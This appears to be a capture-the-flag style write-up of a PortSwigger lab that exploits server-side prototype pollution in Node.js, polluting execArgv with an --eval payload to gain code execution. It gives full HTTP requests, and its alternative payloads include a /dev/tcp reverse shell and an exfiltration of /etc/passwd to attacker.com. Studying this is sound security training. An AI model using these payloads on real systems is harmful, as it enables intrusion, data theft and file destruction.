PortSwigger — 2026.01.14

RCE via Server-Side Prototype Pollution

PortSwigger Server-Side Prototype Pollution to RCE hard

Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution -> Remote Code Execution Objective: Delete /home/carlos/morale.txt


Summary

Exploit server-side prototype pollution to inject malicious Node.js arguments into child process execution, achieving remote code execution.


Attack Chain

┌─────────────────────┐     ┌─────────────────────┐     ┌─────────────────────┐
│  Find JSON Input    │────▶│  Pollute            │────▶│  Trigger Child      │
│  Endpoint           │     │  Object.prototype   │     │  Process Spawn      │
│  (/change-address)  │     │  .execArgv          │     │  (/admin/jobs)      │
└─────────────────────┘     └─────────────────────┘     └─────────────────────┘
                                                                  │
                                                                  ▼
                                                        ┌─────────────────────┐
                                                        │  --eval executes    │
                                                        │  fs.unlinkSync()    │
                                                        │  File deleted!      │
                                                        └─────────────────────┘

Why This Works

Node.js Child Process Options

When Node.js spawns child processes using fork() or spawn(), it accepts an options object:

const { fork } = require('child_process');

function runJob(jobName) {
    const options = { cwd: '/some/path' };  // execArgv NOT defined!
    fork('jobs/' + jobName + '.js', [], options);
}

Prototype Chain Lookup

  1. fork() looks for options.execArgv
  2. Not found on options object directly
  3. JavaScript looks up prototype chain
  4. Finds polluted Object.prototype.execArgv
  5. Child process spawns with attacker-controlled arguments

The execArgv Property

execArgv contains command-line arguments passed to the Node.js process itself (not the script). The --eval flag executes arbitrary JavaScript:

node --eval="console.log('executed')" script.js

By polluting execArgv with --eval=<malicious code>, any child process will execute our code.


Exploitation Steps

Step 1: Identify Injection Point

Found JSON endpoint that processes user input:

  • Endpoint: POST /my-account/change-address
  • Accepts: JSON body with address fields

Step 2: Pollute Object.prototype.execArgv

Request:

POST /my-account/change-address HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8

{
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville",
  "postcode":"BU1 1RP",
  "country":"UK",
  "sessionId":"[session]",
  "__proto__":{
    "execArgv":[
      "--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"
    ]
  }
}

Response (confirms pollution):

{
  "username":"wiener",
  "firstname":"Peter",
  "lastname":"Wiener",
  "address_line_1":"Wiener HQ",
  "isAdmin":true,
  "execArgv":["--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"]
}

The execArgv appearing in response shows Object.prototype was polluted.

Step 3: Trigger Child Process

Request:

POST /admin/jobs HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8

{
  "csrf":"[token]",
  "sessionId":"[session]",
  "tasks":["db-cleanup","fs-cleanup"]
}

Response:

{
  "results":[
    {"name":"db-cleanup","success":true,"message":"Child process executed successfully"},
    {"name":"fs-cleanup","success":false,"error":{"code":1,"message":"Unexpected error."}}
  ]
}

What happened:

  • Both jobs spawned child processes with polluted execArgv
  • --eval executed before the actual job script
  • fs.unlinkSync() deleted the target file
  • fs-cleanup failed likely because the --eval interfered with normal execution
  • File was deleted successfully

Key Concepts

Why execArgv?

Property What It Controls RCE Potential
execArgv Arguments to Node process High - --eval executes code
shell Whether to use shell Medium - enables shell injection
env Environment variables Medium - NODE_OPTIONS can inject
execPath Path to Node binary Low - needs writable location

Payload Breakdown

"--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"
Part Purpose
--eval= Node flag to execute following code
require('fs') Load filesystem module (not auto-loaded in –eval context)
fs.unlinkSync() Synchronous file deletion (more reliable than async)
  • unlinkSync - Synchronous, blocks until complete, more reliable in –eval
  • unlink - Async, might not complete before process exits

Detection in Response

The pollution was confirmed when the response included:

"execArgv":["--eval=..."]

This happens because:

  1. Server reflects the user object back
  2. Object inherits from polluted Object.prototype
  3. JSON.stringify() includes inherited enumerable properties

Alternative Payloads

Reverse Shell (if network egress allowed)

"__proto__":{
  "execArgv":[
    "--eval=require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER/PORT 0>&1')"
  ]
}

Read File (data exfil)

"__proto__":{
  "execArgv":[
    "--eval=require('http').get('http://attacker.com/'+require('fs').readFileSync('/etc/passwd').toString('base64'))"
  ]
}

Using shell property instead

"__proto__":{
  "shell":"node",
  "NODE_OPTIONS":"--eval=process.exit(require('child_process').execSync('rm /home/carlos/morale.txt'))"
}

Key Learnings

  1. Two-step attack: Pollute first, then trigger the gadget
  2. execArgv is powerful: Controls how Node processes start
  3. Require in –eval: Modules aren’t pre-loaded, must require() them
  4. Sync vs Async: Use synchronous methods for reliability in –eval
  5. Response reflection: Inherited properties appear in JSON responses
  6. Multiple processes affected: ALL child processes after pollution use the polluted values

References

#prototype-pollution #server-side #rce #nodejs #exec-argv #child-process #portswigger #webapp